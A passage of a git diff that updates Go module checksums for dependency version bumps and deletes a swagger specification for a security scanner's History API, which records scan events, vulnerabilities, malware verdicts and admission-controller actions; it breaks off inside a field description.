v0.40.0/go.mod h1:hpnzDAfGV753zIKo+wk3u1bVKCGPbrnF7+7LBF/UHVY= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= -golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI= -golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4= +golang.org/x/time v0.15.0 h1:bbrp8t3bGUeFOx08pvsMYRTCVSMk89u4tKbNOZbp88U= +golang.org/x/time v0.15.0/go.mod h1:Y4YMaQmXwGQZoFaVFk4YpCt4FLQMYKZe9oeV/f4MSno= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= @@ -1117,14 +1117,12 @@ golang.org/x/tools v0.0.0-20200501065659-ab2804fb9c9d/go.mod h1:EkVYQZoAsY45+roY golang.org/x/tools v0.0.0-20200512131952-2bc93b1c0c88/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200515010526-7d3b6ebf133d/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200618134242-20370b0cb4b2/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= -golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20200724022722-7017fd6b1305/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200729194436-6467de6f59a7/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200804011535-6c149bb5ef0d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200820010801-b793a1359eac/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc6FUM5FLjQPp3cFF28FI3qnDFljA= golang.org/x/tools v0.0.0-20201023174141-c8cfbd0f21e6/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= -golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.1-0.20210205202024-ef80cdb6ec6d/go.mod h1:9bzcO0MWcOuT0tm1iBGzDVPshzfwoVvREIui8C+MHqU= golang.org/x/tools v0.1.1-0.20210302220138-2ac05c832e1a/go.mod h1:9bzcO0MWcOuT0tm1iBGzDVPshzfwoVvREIui8C+MHqU= golang.org/x/tools v0.1.1/go.mod h1:o0xws9oXOQQZyjljx8fwUC0k7L1pTE6eaCbjGeHmOkk= @@ -1240,8 +1238,8 @@ google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqw google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= -google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= +google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af h1:+5/Sw3GsDNlEmu7TfklWKPdQ0Ykja5VEmq2i817+jbI= +google.golang.org/protobuf v1.36.12-0.20260120151049-f2248ac996af/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= @@ -1281,24 +1279,24 @@ honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9 honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.6.1 h1:R094WgE8K4JirYjBaOpz/AvTyUu/3wbmAoskKN/pxTI= honnef.co/go/tools v0.6.1/go.mod h1:3puzxxljPCe8RGJX7BIy1plGbxEOZni5mR2aXe3/uk4= -k8s.io/api v0.34.4 h1:Z5hsoQcZ2yBjelb9j5JKzCVo9qv9XLkVm5llnqS4h+0= -k8s.io/api v0.34.4/go.mod h1:6SaGYuGPkMqqCgg8rPG/OQoCrhgSEV+wWn9v21fDP3o= -k8s.io/apiextensions-apiserver v0.33.5 h1:93NZh6rmrcamX/tfv/dZrTsMiQX69ufANmDcKPEgSeA= -k8s.io/apiextensions-apiserver v0.33.5/go.mod h1:JIbyQnNlu6nQa7b1vgFi51pmlXOk8mdn0WJwUJnz/7U= -k8s.io/apimachinery v0.34.4 h1:C5SiSzLEMyWIk53sSbnk0WlOOyqv/MFnWvuc/d6M+xc= -k8s.io/apimachinery v0.34.4/go.mod h1:/GwIlEcWuTX9zKIg2mbw0LRFIsXwrfoVxn+ef0X13lw= -k8s.io/apiserver v0.33.3 h1:Wv0hGc+QFdMJB4ZSiHrCgN3zL3QRatu56+rpccKC3J4= -k8s.io/apiserver v0.33.3/go.mod h1:05632ifFEe6TxwjdAIrwINHWE2hLwyADFk5mBsQa15E= -k8s.io/client-go v0.34.4 h1:IXhvzFdm0e897kXtLbeyMpAGzontcShJ/gi/XCCsOLc= -k8s.io/client-go v0.34.4/go.mod h1:tXIVJTQabT5QRGlFdxZQFxrIhcGUPpKL5DAc4gSWTE8= -k8s.io/component-base v0.33.3 h1:mlAuyJqyPlKZM7FyaoM/LcunZaaY353RXiOd2+B5tGA= -k8s.io/component-base v0.33.3/go.mod h1:ktBVsBzkI3imDuxYXmVxZ2zxJnYTZ4HAsVj9iF09qp4= +k8s.io/api v0.36.0 h1:SgqDhZzHdOtMk40xVSvCXkP9ME0H05hPM3p9AB1kL80= +k8s.io/api v0.36.0/go.mod h1:m1LVrGPNYax5NBHdO+QuAedXyuzTt4RryI/qnmNvs34= +k8s.io/apiextensions-apiserver v0.36.0 h1:Wt7E8J+VBCbj4FjiBfDTK/neXDDjyJVJc7xfuOHImZ0= +k8s.io/apiextensions-apiserver v0.36.0/go.mod h1:kGDjH0msuiIB3tgsYRV0kS9GqpMYMUsQ3GHv7TApyug= +k8s.io/apimachinery v0.36.0 h1:jZyPzhd5Z+3h9vJLt0z9XdzW9VzNzWAUw+P1xZ9PXtQ= +k8s.io/apimachinery v0.36.0/go.mod h1:FklypaRJt6n5wUIwWXIP6GJlIpUizTgfo1T/As+Tyxc= +k8s.io/apiserver v0.36.0 h1:Jg5OFAENUACByUCg15CmhZAYrr5ZyJ+jodyA1mHl3YE= +k8s.io/apiserver v0.36.0/go.mod h1:mHvwdHf+qKEm+1/hYm756SV+oREOKSPnsjagOpx6Vho= +k8s.io/client-go v0.36.0 h1:pOYi7C4RHChYjMiHpZSpSbIM6ZxVbRXBy7CuiIwqA3c= +k8s.io/client-go v0.36.0/go.mod h1:ZKKcpwF0aLYfkHFCjillCKaTK/yBkEDHTDXCFY6AS9Y= +k8s.io/component-base v0.36.0 h1:hFjEktssxiJhrK1zfybkH4kJOi8iZuF+mIDCqS5+jRo= +k8s.io/component-base v0.36.0/go.mod h1:JZvIfcNHk+uck+8LhJzhSBtydWXaZNQwX2OdL+Mnwsk= k8s.io/klog/v2 v2.140.0 h1:Tf+J3AH7xnUzZyVVXhTgGhEKnFqye14aadWv7bzXdzc= k8s.io/klog/v2 v2.140.0/go.mod h1:o+/RWfJ6PwpnFn7OyAG3QnO47BFsymfEfrz6XyYSSp0= -k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 h1:Y3gxNAuB0OBLImH611+UDZcmKS3g6CthxToOb37KgwE= -k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912/go.mod h1:kdmbQkyfwUagLfXIad1y2TdrjPFWp2Q89B3qkRwf/pQ= -k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 h1:SjGebBtkBqHFOli+05xYbK8YF1Dzkbzn+gDM4X9T4Ck= -k8s.io/utils v0.0.0-20251002143259-bc988d571ff4/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= +k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a h1:xCeOEAOoGYl2jnJoHkC3hkbPJgdATINPMAxaynU2Ovg= +k8s.io/kube-openapi v0.0.0-20260317180543-43fb72c5454a/go.mod h1:uGBT7iTA6c6MvqUvSXIaYZo9ukscABYi2btjhvgKGZ0= +k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2 h1:AZYQSJemyQB5eRxqcPky+/7EdBj0xi3g0ZcxxJ7vbWU= +k8s.io/utils v0.0.0-20260210185600-b8788abfbbc2/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk= modernc.org/libc v1.68.0 h1:PJ5ikFOV5pwpW+VqCK1hKJuEWsonkIJhhIXyuF/91pQ= modernc.org/libc v1.68.0/go.mod h1:NnKCYeoYgsEqnY3PgvNgAeaJnso968ygU8Z0DxjoEc0= modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= @@ -1320,7 +1318,7 @@ sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5E sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg= sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU= sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY= -sigs.k8s.io/structured-merge-diff/v6 v6.3.0 h1:jTijUJbW353oVOd9oTlifJqOGEkUw2jB/fXCbTiQEco= -sigs.k8s.io/structured-merge-diff/v6 v6.3.0/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= +sigs.k8s.io/structured-merge-diff/v6 v6.3.2 h1:kwVWMx5yS1CrnFWA/2QHyRVJ8jM6dBA80uLmm0wJkk8= +sigs.k8s.io/structured-merge-diff/v6 v6.3.2/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE= sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs= sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4= diff --git a/history-api/api/openapiv2/history.swagger.json b/history-api/api/openapiv2/history.swagger.json deleted file mode 100644 index b206bcd4..00000000 --- a/history-api/api/openapiv2/history.swagger.json +++ /dev/null @@ -1,1129 +0,0 @@ -{ - "swagger": "2.0", - "info": { - "title": "History API", - "version": "version not set" - }, - "tags": [ - { - "name": "History" - } - ], - "consumes": [ - "application/json" - ], - "produces": [ - "application/json" - ], - "paths": { - "/api/v1/event": { - "post": { - "operationId": "History_Create", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyCreateEventResp" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/historyEvent" - } - } - ], - "tags": [ - "History" - ] - } - }, - "/api/v1/event/by-digest/page/{pageNum}": { - "post": { - "operationId": "History_FilterEventPageByDigest", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyListEventPageResp" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "pageNum", - "in": "path", - "required": true, - "type": "integer", - "format": "int64" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/HistoryFilterEventPageByDigestBody" - } - } - ], - "tags": [ - "History" - ] - } - }, - "/api/v1/event/by-filter/page/{pageNum}": { - "post": { - "operationId": "History_FilterEventPage", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyListEventPageResp" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "pageNum", - "in": "path", - "required": true, - "type": "integer", - "format": "int64" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/HistoryFilterEventPageBody" - } - } - ], - "tags": [ - "History" - ] - } - }, - "/api/v1/event/page/{pageNum}": { - "post": { - "operationId": "History_ListEventPage", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyListEventPageResp" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "pageNum", - "in": "path", - "required": true, - "type": "integer", - "format": "int64" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/HistoryListEventPageBody" - } - } - ], - "tags": [ - "History" - ] - } - }, - "/api/v1/event/{eventId}/components": { - "post": { - "operationId": "History_ListEventComponents", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyListEventComponentsResp" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "eventId", - "in": "path", - "required": true, - "type": "string" - }, - { - "name": "body", - "in": "body", - "required": true, - "schema": { - "$ref": "#/definitions/HistoryListEventComponentsBody" - } - } - ], - "tags": [ - "History" - ] - } - }, - "/api/v1/event/{id}": { - "get": { - "operationId": "History_Read", - "responses": { - "200": { - "description": "A successful response.", - "schema": { - "$ref": "#/definitions/historyEvent" - } - }, - "default": { - "description": "An unexpected error response.", - "schema": { - "$ref": "#/definitions/googlerpcStatus" - } - } - }, - "parameters": [ - { - "name": "id", - "in": "path", - "required": true, - "type": "string" - } - ], - "tags": [ - "History" - ] - } - } - }, - "definitions": { - "ActionKind": { - "type": "object", - "properties": { - "group": { - "type": "string" - }, - "version": { - "type": "string" - }, - "kind": { - "type": "string" - } - } - }, - "ActionResource": { - "type": "object", - "properties": { - "group": { - "type": "string" - }, - "version": { - "type": "string" - }, - "resource": { - "type": "string" - } - } - }, - "AffectedVersionsRange": { - "type": "object", - "properties": { - "from": { - "type": "string" - }, - "to": { - "type": "string" - } - } - }, - "FilterSignature": { - "type": "object", - "properties": { - "verified": { - "type": "boolean" - } - } - }, - "HistoryFilterEventPageBody": { - "type": "object", - "properties": { - "pageSize": { - "type": "integer", - "format": "int64" - }, - "sorts": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/commonSort" - } - }, - "withIncident": { - "type": "boolean" - }, - "withComponents": { - "type": "boolean" - }, - "withActions": { - "type": "boolean" - }, - "filter": { - "$ref": "#/definitions/historyFilter" - } - } - }, - "HistoryFilterEventPageByDigestBody": { - "type": "object", - "properties": { - "pageSize": { - "type": "integer", - "format": "int64" - }, - "sorts": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/commonSort" - } - }, - "digest": { - "type": "string" - }, - "withIncident": { - "type": "boolean" - }, - "withComponents": { - "type": "boolean" - }, - "withActions": { - "type": "boolean" - } - } - }, - "HistoryListEventComponentsBody": { - "type": "object", - "properties": { - "sorts": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/commonSort" - } - } - } - }, - "HistoryListEventPageBody": { - "type": "object", - "properties": { - "pageSize": { - "type": "integer", - "format": "int64" - }, - "sorts": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/commonSort" - } - }, - "withIncident": { - "type": "boolean" - }, - "withComponents": { - "type": "boolean" - }, - "withActions": { - "type": "boolean" - } - } - }, - "MetadataAffectedVersions": { - "type": "object", - "properties": { - "version": { - "type": "string" - }, - "range": { - "$ref": "#/definitions/AffectedVersionsRange" - } - } - }, - "VulnerabilityActionType": { - "type": "string", - "enum": [ - "UNKNOWN", - "NOTIFY", - "BLOCK" - ], - "default": "UNKNOWN" - }, - "VulnerabilityScoreMethod": { - "type": "string", - "enum": [ - "SCORE_METHOD_NULL", - "SCORE_METHOD_CVSSV2", - "SCORE_METHOD_CVSSV3", - "SCORE_METHOD_CVSSV31", - "SCORE_METHOD_OWASP", - "SCORE_METHOD_OTHER", - "SCORE_METHOD_CVSSV4", - "SCORE_METHOD_SSVC" - ], - "default": "SCORE_METHOD_NULL" - }, - "authenticationv1UserInfo": { - "type": "object", - "properties": { - "username": { - "type": "string", - "title": "The name that uniquely identifies this user among all active users.\n+optional" - }, - "uid": { - "type": "string", - "title": "A unique value that identifies this user across time. If this user is\ndeleted and another user by the same name is added, they will have\ndifferent UIDs.\n+optional" - }, - "groups": { - "type": "array", - "items": { - "type": "string" - }, - "title": "The names of groups this user is a part of.\n+optional" - }, - "extra": { - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/v1ExtraValue" - }, - "title": "Any additional information provided by the authenticator.\n+optional" - } - }, - "description": "UserInfo holds the information about the user needed to implement the\nuser.Info interface." - }, - "commonPeriod": { - "type": "object", - "properties": { - "from": { - "type": "string", - "format": "date-time" - }, - "to": { - "type": "string", - "format": "date-time" - } - } - }, - "commonSort": { - "type": "object", - "properties": { - "field": { - "type": "string" - }, - "key": { - "type": "string" - } - } - }, - "googlerpcStatus": { - "type": "object", - "properties": { - "code": { - "type": "integer", - "format": "int32" - }, - "message": { - "type": "string" - }, - "details": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/protobufAny" - } - } - } - }, - "historyAction": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "requestUid": { - "type": "string" - }, - "operation": { - "type": "string" - }, - "resource": { - "$ref": "#/definitions/ActionResource" - }, - "requestResource": { - "$ref": "#/definitions/ActionResource" - }, - "kind": { - "$ref": "#/definitions/ActionKind" - }, - "requestKind": { - "$ref": "#/definitions/ActionKind" - }, - "subresource": { - "type": "string" - }, - "requestSubresource": { - "type": "string" - }, - "resourceName": { - "type": "string" - }, - "userInfo": { - "$ref": "#/definitions/historyActionUserInfo" - }, - "eventId": { - "type": "string" - }, - "admissionRequest": { - "$ref": "#/definitions/v1AdmissionRequest", - "title": "this field is only here for creating. it's not presented in Read result" - }, - "threats": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyThreat" - }, - "title": "failed admission controller's detectors" - }, - "rules": { - "type": "array", - "items": { - "type": "string" - }, - "title": "failed admission controller's rules" - } - } - }, - "historyActionUserInfo": { - "type": "object", - "properties": { - "username": { - "type": "string" - }, - "uid": { - "type": "string" - } - } - }, - "historyComponent": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "name": { - "type": "string" - }, - "version": { - "type": "string" - }, - "vulnerabilities": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyVulnerability" - } - }, - "eventId": { - "type": "string" - }, - "type": { - "$ref": "#/definitions/historyComponentType" - }, - "publisher": { - "type": "string" - }, - "purl": { - "type": "string" - }, - "licenses": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyComponentLicense" - } - }, - "malwares": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyMalware" - } - } - } - }, - "historyComponentLicense": { - "type": "object", - "properties": { - "id": { - "type": "string" - } - } - }, - "historyComponentType": { - "type": "string", - "enum": [ - "TYPE_NULL", - "TYPE_APPLICATION", - "TYPE_FRAMEWORK", - "TYPE_LIBRARY", - "TYPE_OPERATING_SYSTEM", - "TYPE_DEVICE", - "TYPE_FILE", - "TYPE_CONTAINER", - "TYPE_FIRMWARE" - ], - "default": "TYPE_NULL" - }, - "historyCreateEventResp": { - "type": "object", - "properties": { - "id": { - "type": "string" - } - } - }, - "historyEvent": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "registeredAt": { - "type": "string", - "format": "date-time" - }, - "source": { - "type": "string" - }, - "type": { - "type": "string" - }, - "digest": { - "type": "string" - }, - "registry": { - "type": "string" - }, - "metadata": { - "$ref": "#/definitions/historyEventMetadata" - }, - "imageName": { - "type": "string" - }, - "namespace": { - "type": "string" - }, - "cluster": { - "type": "string" - }, - "incident": { - "$ref": "#/definitions/historyIncident" - }, - "components": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyComponent" - } - }, - "iacPath": { - "type": "string", - "title": "scanned path in case when type == scan_iac" - }, - "resourceType": { - "$ref": "#/definitions/historyIACResourceType", - "title": "usable only for type == scan_iac" - }, - "userId": { - "type": "string", - "title": "uuid of the user who initiated the scan" - }, - "actions": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyAction" - }, - "title": "actions reviewed by admission controller. not empty when type == admission_review" - }, - "errorMessage": { - "type": "string", - "title": "Error message if scanning fails (e.g. image not found, access denied, or other)" - }, - "verified": { - "type": "boolean", - "title": "Is image verified or not (for image signature check)" - } - } - }, - "historyEventMetadata": { - "type": "object", - "properties": { - "version": { - "type": "string" - }, - "scanDuration": { - "type": "integer", - "format": "int64", - "title": "scan duration in seconds" - }, - "vulnKbVersion": { - "type": "string" - } - } - }, - "historyFilter": { - "type": "object", - "properties": { - "range": { - "$ref": "#/definitions/commonPeriod" - }, - "iacPath": { - "type": "array", - "items": { - "type": "string" - } - }, - "imageName": { - "type": "array", - "items": { - "type": "string" - } - }, - "source": { - "type": "array", - "items": { - "type": "string" - } - }, - "type": { - "type": "array", - "items": { - "type": "string" - } - }, - "incident": { - "$ref": "#/definitions/historyFilterIncident" - }, - "signature": { - "$ref": "#/definitions/FilterSignature" - } - } - }, - "historyFilterIncident": { - "type": "object", - "properties": { - "severity": { - "type": "array", - "items": { - "type": "string" - } - }, - "verdict": { - "type": "array", - "items": { - "type": "string" - } - } - } - }, - "historyIACResourceType": { - "type": "string", - "enum": [ - "NONE", - "DOCKERFILE", - "KUBERNETES_MANIFEST", - "HELM_CHART" - ], - "default": "NONE" - }, - "historyIncident": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "blockBy": { - "type": "array", - "items": { - "type": "string" - }, - "title": "IDs of blocking rules" - }, - "notifyBy": { - "type": "array", - "items": { - "type": "string" - }, - "title": "IDs of notifying rules" - }, - "severity": { - "type": "string" - }, - "eventId": { - "type": "string" - }, - "verdict": { - "type": "string" - } - } - }, - "historyListEventComponentsResp": { - "type": "object", - "properties": { - "components": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyComponent" - } - } - } - }, - "historyListEventPageResp": { - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64" - }, - "events": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyEvent" - } - } - } - }, - "historyMalware": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "verdict": { - "type": "string" - }, - "componentId": { - "type": "string" - }, - "type": { - "type": "string", - "title": "Type of malware" - }, - "name": { - "type": "string", - "title": "Name of malware" - }, - "engineName": { - "type": "string", - "title": "Name of scanner which identified malware" - }, - "engineVersion": { - "type": "string", - "title": "Version of scanner" - }, - "databaseVersion": { - "type": "string", - "title": "Version of database of scanner" - } - } - }, - "historyThreat": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "detector": { - "$ref": "#/definitions/historyThreatDetector" - }, - "actionId": { - "type": "string" - }, - "severity": { - "type": "string" - } - } - }, - "historyThreatDetector": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "name": { - "type": "string" - }, - "version": { - "type": "integer", - "format": "int64" - }, - "description": { - "type": "string" - }, - "author": { - "type": "string" - }, - "contact": { - "type": "string" - } - } - }, - "historyVulnerability": { - "type": "object", - "properties": { - "id": { - "type": "string" - }, - "cve": { - "type": "string" - }, - "severity": { - "type": "string" - }, - "componentId": { - "type": "string" - }, - "description": { - "type": "string" - }, - "score": { - "type": "number", - "format": "double" - }, - "scoreMethod": { - "$ref": "#/definitions/VulnerabilityScoreMethod" - }, - "metadata": { - "$ref": "#/definitions/historyVulnerabilityMetadata" - }, - "category": { - "type": "string" - }, - "vector": { - "type": "string" - }, - "actions": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/historyVulnerabilityAction" - } - } - } - }, - "historyVulnerabilityAction": { - "type": "object", - "properties": { - "type": { - "$ref": "#/definitions/VulnerabilityActionType" - }, - "rule": { - "type": "string", - "title": "name of applied rule" - } - } - }, - "historyVulnerabilityMetadata": { - "type": "object", - "properties": { - "version": { - "type": "string" - }, - "references": { - "type": "array", - "items": { - "type": "string" - } - }, - "affectedVersions": { - "type": "array", - "items": { - "type": "object", - "$ref": "#/definitions/MetadataAffectedVersions" - } - } - } - }, - "protobufAny": { - "type": "object", - "properties": { - "@type": { - "type": "string" - } - }, - "additionalProperties": {} - }, - "runtimeRawExtension": { - "type": "object", - "properties": { - "raw": { - "type": "string", - "format": "byte", - "description": "Raw is the underlying serialization of this object.\n\nTODO: Determine how to detect ContentType and ContentEncoding of 'Raw' data." - } - }, - "description": "RawExtension is used to hold extensions in external versions.\n\nTo use this, make a field which has RawExtension as its type in your external, versioned\nstruct, and Object in your internal struct. You also need to register your\nvarious plugin types.\n\n// Internal package:\n\n\ttype MyAPIObject struct {\n\t\truntime.TypeMeta `json:\",inline\"`\n\t\tMyPlugin runtime.Object `json:\"myPlugin\"`\n\t}\n\n\ttype PluginA struct {\n\t\tAOption string `json:\"aOption\"`\n\t}\n\n// External package:\n\n\ttype MyAPIObject struct {\n\t\truntime.TypeMeta `json:\",inline\"`\n\t\tMyPlugin runtime.RawExtension `json:\"myPlugin\"`\n\t}\n\n\ttype PluginA struct {\n\t\tAOption string `json:\"aOption\"`\n\t}\n\n// On the wire, the JSON will look something like this:\n\n\t{\n\t\t\"kind\":\"MyAPIObject\",\n\t\t\"apiVersion\":\"v1\",\n\t\t\"myPlugin\": {\n\t\t\t\"kind\":\"PluginA\",\n\t\t\t\"aOption\":\"foo\",\n\t\t},\n\t}\n\nSo what happens? Decode first uses json or yaml to unmarshal the serialized data into\nyour external MyAPIObject. That causes the raw JSON to be stored, but not unpacked.\nThe next step is to copy (using pkg/conversion) into the internal struct. The runtime\npackage's DefaultScheme has conversion functions installed which will unpack the\nJSON stored in RawExtension, turning it into the correct object type, and storing it\nin the Object. (TODO: In the case where the object is of an unknown type, a\nruntime.Unknown object will be created and stored.)\n\n+k8s:deepcopy-gen=true\n+protobuf=true\n+k8s:openapi-gen=true" - }, - "v1AdmissionRequest": { - "type": "object", - "properties": { - "uid": { - "type": "string", - "description": "UID is an identifier for the individual request/response. It allows us to distinguish instances of requests which are\notherwise identical (parallel requests, requests when earlier requests did not modify etc)\nThe UID is meant to track the round trip (request/response) between the KAS and the WebHook, not the user request.\nIt is suitable for correlating log entries between the webhook and apiserver, for either auditing or debugging." - }, - "kind": { - "$ref": "#/definitions/v1GroupVersionKind", - "title": "Kind is the fully-qualified type of object being submitted (for example, v1.Pod or autoscaling.v1.Scale)" - }, - "resource": { - "$ref": "#/definitions/v1GroupVersionResource", - "title": "Resource is the fully-qualified resource being requested (for example, v1.pods)" - }, - "subResource": { - "type": "string", - "title": "SubResource is the subresource being requested, if any (for example, \"status\" or \"scale\")\n+optional" - }, - "requestKind": { - "$ref": "#/definitions/v1GroupVersionKind", - "description": "RequestKind is the fully-qualified type of the original API request (for example, v1.Pod or autoscaling.v1.Scale).\nIf this is specified and differs from the value in \"kind\", an equivalent match and conversion was performed.\n\nFor example, if deployments can be modified via apps/v1 and apps/v1beta1, and a webhook registered a rule of\n`apiGroups:[\"apps\"], apiVersions:[\"v1\"], resources: [\"deployments\"]` and `matchPolicy: Equivalent`,\nan API request to apps/v1beta1 deployments would be converted and sent to the webhook\nwith `kind: 